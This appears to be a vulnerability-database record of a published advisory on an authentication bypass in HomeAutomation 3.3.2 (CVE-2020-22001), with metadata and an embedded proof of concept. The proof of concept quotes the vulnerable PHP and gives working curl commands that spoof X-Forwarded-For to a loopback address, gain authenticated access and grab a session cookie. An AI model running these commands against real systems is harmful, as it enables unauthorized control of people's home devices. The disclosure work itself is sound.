Description
Title: HomeAutomation v3.3.2 Authentication Bypass Exploit
Advisory ID: [ZSL-2019-5557](<ZSL-2019-5557.php>)
Type: Local/Remote
Impact: Security Bypass
Risk: (4/5)
Release Date: 29.12.2019
##### Summary
HomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house.
##### Description
The application suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution.
##### Vendor
Tom Rosenback and Daniel Malmgren - <http://karpero.mine.nu/ha/>
##### Affected Version
3.3.2
##### Tested On
Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
##### Vendor Status
[06.11.2019] Vulnerability discovered.
[07.11.2019] Vendor contacted.
[29.11.2019] No response from the vendor.
[30.11.2019] Vendor contacted.
[28.12.2019] No response from the vendor.
[29.12.2019] Public security advisory released.
##### PoC
[homeautomation_authbypass.txt](<../../codes/homeautomation_authbypass.txt>)
##### Credits
Vulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>
##### References
[1] <https://www.exploit-db.com/exploits/47807>
[2] <https://packetstormsecurity.com/files/155789/HomeAutomation-3.3.2-Authentication-Bypass.html>
[3] <https://cxsecurity.com/issue/WLB-2019120139>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173658>
[5] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-22001>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2020-22001>
[7] <https://www.incibe-cert.es/en/early-warning/vulnerabilities/cve-2020-22001>
##### Changelog
[29.12.2019] - Initial release
[24.01.2020] - Added reference [1], [2], [3] and [4]
[19.06.2021] - Added reference [5], [6] and [7]
##### Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)
Related
{"id": "ZSL-2019-5557", "vendorId": null, "type": "zeroscience", "bulletinFamily": "exploit", "title": "HomeAutomation v3.3.2 Authentication Bypass Exploit", "description": "Title: HomeAutomation v3.3.2 Authentication Bypass Exploit \nAdvisory ID: [ZSL-2019-5557](<ZSL-2019-5557.php>) \nType: Local/Remote \nImpact: Security Bypass \nRisk: (4/5) \nRelease Date: 29.12.2019 \n\n\n##### Summary\n\nHomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house. \n\n##### Description\n\nThe application suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution. \n\n##### Vendor\n\nTom Rosenback and Daniel Malmgren - <http://karpero.mine.nu/ha/>\n\n##### Affected Version\n\n3.3.2 \n\n##### Tested On\n\nApache/2.4.41 (centos) OpenSSL/1.0.2k-fips \nApache/2.4.29 (Ubuntu) \nPHP/7.4.0RC4 \nPHP/7.3.11 \nPHP 7.2.24-0ubuntu0.18.04.1 \n\n##### Vendor Status\n\n[06.11.2019] Vulnerability discovered. \n[07.11.2019] Vendor contacted. \n[29.11.2019] No response from the vendor. \n[30.11.2019] Vendor contacted. \n[28.12.2019] No response from the vendor. \n[29.12.2019] Public security advisory released. \n\n##### PoC\n\n[homeautomation_authbypass.txt](<../../codes/homeautomation_authbypass.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <https://www.exploit-db.com/exploits/47807> \n[2] <https://packetstormsecurity.com/files/155789/HomeAutomation-3.3.2-Authentication-Bypass.html> \n[3] <https://cxsecurity.com/issue/WLB-2019120139> \n[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173658> \n[5] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-22001> \n[6] <https://nvd.nist.gov/vuln/detail/CVE-2020-22001> \n[7] <https://www.incibe-cert.es/en/early-warning/vulnerabilities/cve-2020-22001>\n\n##### Changelog\n\n[29.12.2019] - Initial release \n[24.01.2020] - Added reference [1], [2], [3] and [4] \n[19.06.2021] - Added reference [5], [6] and [7] \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "published": "2019-12-29T00:00:00", "modified": "2019-12-29T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php", "reporter": "Gjoko Krstic", "references": [], "cvelist": ["CVE-2020-22001"], "immutableFields": [], "lastseen": "2021-12-13T17:03:28", "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-22001"]}]}, "score": {"value": 5.4, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-22001"]}, {"type": "nessus", "idList": ["OPENSUSE-2017-662.NASL", "SUSE_SU-2017-1445-1.NASL"]}, {"type": "threatpost", "idList": ["THREATPOST:3B05FD25F1EFE431C23369F5790520EB"]}]}, "exploitation": null, "vulnersScore": 5.4}, "sourceHref": "http://zeroscience.mk/codes/homeautomation_authbypass.txt", "sourceData": "<html><body><p>HomeAutomation v3.3.2 Authentication Bypass Exploit\r\n\r\n\r\nVendor: Tom Rosenback and Daniel Malmgren\r\nProduct web page: http://karpero.mine.nu/ha/\r\nAffected version: 3.3.2\r\n\r\nSummary: HomeAutomation is an open-source web interface and scheduling solution.\r\nIt was initially made for use with the Telldus TellStick, but is now based on a\r\nplugin system and except for Tellstick it also comes with support for Crestron,\r\nOWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,\r\netc.) based on an advanced scheduling system, taking into account things like\r\nmeasurements from various sensors. With the houseplan view you can get a simple\r\noverview of the status of your devices at their location in your house.\r\n\r\nDesc: The application suffers from an authentication bypass vulnerability when\r\nspoofing client IP address using the X-Forwarded-For header with the local (loopback)\r\nIP address value allowing remote control of the smart home solution.\r\n\r\n===============================================================================\r\n/modules/login/login.module.php:\r\n--------------------------------\r\n19: if(!defined(\"HomeAutomationIncluded\")) { die(\"HomeAutomation: Direct access not premitted\"); }\r\n20:\r\n21: if($_SESSION[CFG_SESSION_KEY][\"userlevel\"] < 1 && $action == \"default\" && isIpLocal() && getFormVariable(\"autologin\", \"\") == \"\")\r\n22: {\r\n23: // if user is not logged in and action is default, user is visiting locally and autologin is NOT set, allow autologin.\r\n24: $action = \"login\";\r\n25: }\r\n26:\r\n27: ?>\r\n\r\n===============================================================================\r\n/functions.php:\r\n---------------\r\n733: function isIpLocal() {\r\n734: \r\n735: \tif(substr(getIpAddress(), 0, 4) == \"127.\") {\r\n736: \t\treturn true;\r\n737: \t}\r\n738: \r\n739: \t$isIpLocal = false;\r\n740: \r\n741: \t$localip = $_SESSION[CFG_SESSION_KEY][\"settings\"][\"localip\"];\r\n742: \r\n743: \t$localnets = explode(\";\", $localip);\r\n744: \tforeach($localnets as $localnet) {\r\n745: \t\tlist($localnet, $localmask) = explode(\"/\", $localnet);\r\n746: \t\tif($localmask == \"\") {\r\n747: \t\t\t$localmask = 32;\r\n748: \t\t}\r\n749: \t\tif($localmask == \"\" || $localmask > 32 || $localmask < 0) {\r\n750: \t\t\t$localmask = 32;\r\n751: \t\t}\r\n752: \r\n753: \t\t// $mask = $localmask;\r\n754: \r\n755: \t\t$localnet = ip2long($localnet);\r\n756: \t\t$localmask = ~((1 << (32-$localmask)) - 1);\r\n757: \t\t$remoteip = ip2long(getIpAddress());\r\n758: \t\t$maskedip = $remoteip & $localmask;\r\n759: \t\t$maskednet = $localnet & $localmask;\r\n760: \r\n761: \t\t// echo \"<br/>localnet:\";\r\n762: \t\t// printf('%1$32b', $localnet);\r\n763: \r\n764: \t\t// echo \"<br/>localmask: (dec: \".$mask.\")\";\r\n765: \t\t// printf('%1$32b', $localmask);\r\n766: \r\n767: \t\t// echo \"<br/>remoteip:\";\r\n768: \t\t// printf('%1$32b', $remoteip);\r\n769: \r\n770: \t\t// echo \"<br/>maskedip:\";\r\n771: \t\t// printf('%1$32b', $maskedip);\r\n772: \r\n773: \t\t// echo \"<br/>maskednet:\";\r\n774: \t\t// printf('%1$32b', $maskednet);\r\n775: \r\n776: \t\tif($maskedip == $maskednet) {\r\n777: \t\t\t// echo \"<br/>maskedip == maskednet\";\r\n778: \t\t\t$isIpLocal = true;\r\n779: \t\t\tbreak;\r\n780: \t\t}\r\n781: \t}\r\n782: \t// $isIpLocal = false;\r\n783: \treturn $isIpLocal;\r\n784: }\r\n785: \r\n786: function getIpAddress() {\r\n787: \treturn isset($_SERVER[\"HTTP_X_FORWARDED_FOR\"]) ? $_SERVER[\"HTTP_X_FORWARDED_FOR\"] : $_SERVER[\"REMOTE_ADDR\"];\r\n788: }\r\n===============================================================================\r\n\r\nTested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips\r\n Apache/2.4.29 (Ubuntu)\r\n PHP/7.4.0RC4\r\n PHP/7.3.11\r\n PHP 7.2.24-0ubuntu0.18.04.1\r\n\r\n\r\nVulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n @zeroscience\r\n\r\n\r\nAdvisory ID: ZSL-2019-5557\r\nAdvisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php\r\n\r\n\r\n06.11.2019\r\n\r\n--\r\n\r\n\r\nPoC auth bypass and arbitrary cookie setup grepping auth'd content view:\r\n------------------------------------------------------------------------\r\n\r\nroot@kali:~/homeautomation# curl -sk --user-agent \"ZSL/0.2 (SpoofDetect 1.0)\" https://192.168.2.113/index.php -H \"X-Forwarded-For: 127.31.33.7\" -vL --cookie \"PHPSESSID=11111111110000000000666666\" |grep Macros\r\n* Trying 192.168.2.113...\r\n* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)\r\n* found 173 certificates in /etc/ssl/certs/ca-certificates.crt\r\n* found 696 certificates in /etc/ssl/certs\r\n* ALPN, offering h2\r\n* ALPN, offering http/1.1\r\n* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256\r\n* \t server certificate verification SKIPPED\r\n* \t server certificate status verification SKIPPED\r\n* \t common name: n28.nux.se (does not match '192.168.2.113')\r\n* \t server certificate expiration date OK\r\n* \t server certificate activation date OK\r\n* \t certificate public key: RSA\r\n* \t certificate version: #3\r\n* \t subject: CN=n28.nux.se\r\n* \t start date: Mon, 21 Oct 2019 12:18:27 GMT\r\n* \t expire date: Sun, 19 Jan 2020 12:18:27 GMT\r\n* \t issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3\r\n* \t compression: NULL\r\n* ALPN, server accepted to use http/1.1\r\n> GET /index.php HTTP/1.1\r\n> Host: 192.168.2.113\r\n> User-Agent: ZSL/0.2 (SpoofDetect 1.0)\r\n> Accept: */*\r\n> Cookie: PHPSESSID=11111111110000000000666666\r\n> X-Forwarded-For: 127.31.33.7\r\n> \r\n< HTTP/1.1 303 See Other\r\n< Date: Wed, 20 Nov 2019 01:06:16 GMT\r\n< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips\r\n< X-Powered-By: PHP/7.3.11\r\n< Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n< Cache-Control: no-store, no-cache, must-revalidate\r\n< Pragma: no-cache\r\n< Strict-Transport-Security: max-age=63072000; includeSubdomains\r\n< X-Frame-Options: DENY\r\n< X-Content-Type-Options: nosniff\r\n< Location: ./index.php?page=houseplan\r\n< Content-Length: 0\r\n< Content-Type: text/html; charset=UTF-8\r\n< \r\n* Connection #0 to host 192.168.2.113 left intact\r\n* Issue another request to this URL: 'https://192.168.2.113/index.php?page=houseplan'\r\n* Found bundle for host 192.168.2.113: 0x55c160ef7c40 [can pipeline]\r\n* Re-using existing connection! (#0) with host 192.168.2.113\r\n* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)\r\n> GET /index.php?page=houseplan HTTP/1.1\r\n> Host: 192.168.2.113\r\n> User-Agent: ZSL/0.2 (SpoofDetect 1.0)\r\n> Accept: */*\r\n> Cookie: PHPSESSID=11111111110000000000666666\r\n> X-Forwarded-For: 127.31.33.7\r\n> \r\n< HTTP/1.1 200 OK\r\n< Date: Wed, 20 Nov 2019 01:06:16 GMT\r\n< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips\r\n< X-Powered-By: PHP/7.3.11\r\n< Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n< Cache-Control: no-store, no-cache, must-revalidate\r\n< Pragma: no-cache\r\n< Strict-Transport-Security: max-age=63072000; includeSubdomains\r\n< X-Frame-Options: DENY\r\n< X-Content-Type-Options: nosniff\r\n< Transfer-Encoding: chunked\r\n< Content-Type: text/html; charset=UTF-8\r\n< \r\n{ [6 bytes data]\r\n*\t\t\t\t\t\t\t</p><li>| <a href=\"./index.php?page=macros\">Macros</a>\r\n Connection #0 to host 192.168.2.113 left intact\r\nroot@kali:~/homeautomation# curl -sk --user-agent \"ZSL/0.2 (SpoofDetect 1.0)\" https://192.168.2.113/index.php -vL --cookie \"PHPSESSID=11111111110000000000666666\" |grep Macros\r\n* Trying 192.168.2.113...\r\n* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)\r\n* found 173 certificates in /etc/ssl/certs/ca-certificates.crt\r\n* found 696 certificates in /etc/ssl/certs\r\n* ALPN, offering h2\r\n* ALPN, offering http/1.1\r\n* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256\r\n* \t server certificate verification SKIPPED\r\n* \t server certificate status verification SKIPPED\r\n* \t common name: n28.nux.se (does not match '192.168.2.113')\r\n* \t server certificate expiration date OK\r\n* \t server certificate activation date OK\r\n* \t certificate public key: RSA\r\n* \t certificate version: #3\r\n* \t subject: CN=n28.nux.se\r\n* \t start date: Mon, 21 Oct 2019 12:18:27 GMT\r\n* \t expire date: Sun, 19 Jan 2020 12:18:27 GMT\r\n* \t issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3\r\n* \t compression: NULL\r\n* ALPN, server accepted to use http/1.1\r\n> GET /index.php HTTP/1.1\r\n> Host: 192.168.2.113\r\n> User-Agent: ZSL/0.2 (SpoofDetect 1.0)\r\n> Accept: */*\r\n> Cookie: PHPSESSID=11111111110000000000666666\r\n> \r\n< HTTP/1.1 200 OK\r\n< Date: Wed, 20 Nov 2019 01:06:25 GMT\r\n< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips\r\n< X-Powered-By: PHP/7.3.11\r\n< Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n< Cache-Control: no-store, no-cache, must-revalidate\r\n< Pragma: no-cache\r\n< Strict-Transport-Security: max-age=63072000; includeSubdomains\r\n< X-Frame-Options: DENY\r\n< X-Content-Type-Options: nosniff\r\n< Transfer-Encoding: chunked\r\n< Content-Type: text/html; charset=UTF-8\r\n< \r\n{ [6 bytes data]\r\n\t\t\t\t\t\t\t</li><li>| <a href=\"./index.php?page=macros\">Macros</a>\r\n* Connection #0 to host 192.168.2.113 left intact\r\nroot@kali:~/homeautomation# \r\n\r\n\r\nPoC auth bypass retrieving valid Cookie:\r\n-----------------------------------------\r\n\r\nroot@kali:~/homeautomation# $(curl -sk --user-agent \"ZSL/0.2 (SpoofDetect 1.0)\" https://192.168.2.113/?page=houseplan -L -H \"X-Forwarded-For: 127.1.1.1\" --cookie-jar cookies.txt -o /dev/null) ; echo -ne \"Your cookie: \" ;tail -c -27 cookies.txt\r\nYour cookie: k4dic6crpr4d4u71tr13gvtmsv</li></body></html>", "impact": "Security Bypass", "exploit_type": "Local/Remote", "_state": {"dependencies": 1647589307, "score": 0}}
{"cve": [{"lastseen": "2022-03-23T15:09:15", "description": "HomeAutomation 3.3.2 suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-27T18:15:00", "type": "cve", "title": "CVE-2020-22001", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-22001"], "modified": "2021-05-06T14:25:00", "cpe": ["cpe:/a:homeautomation_project:homeautomation:3.3.2"], "id": "CVE-2020-22001", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-22001", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:homeautomation_project:homeautomation:3.3.2:*:*:*:*:*:*:*"]}]}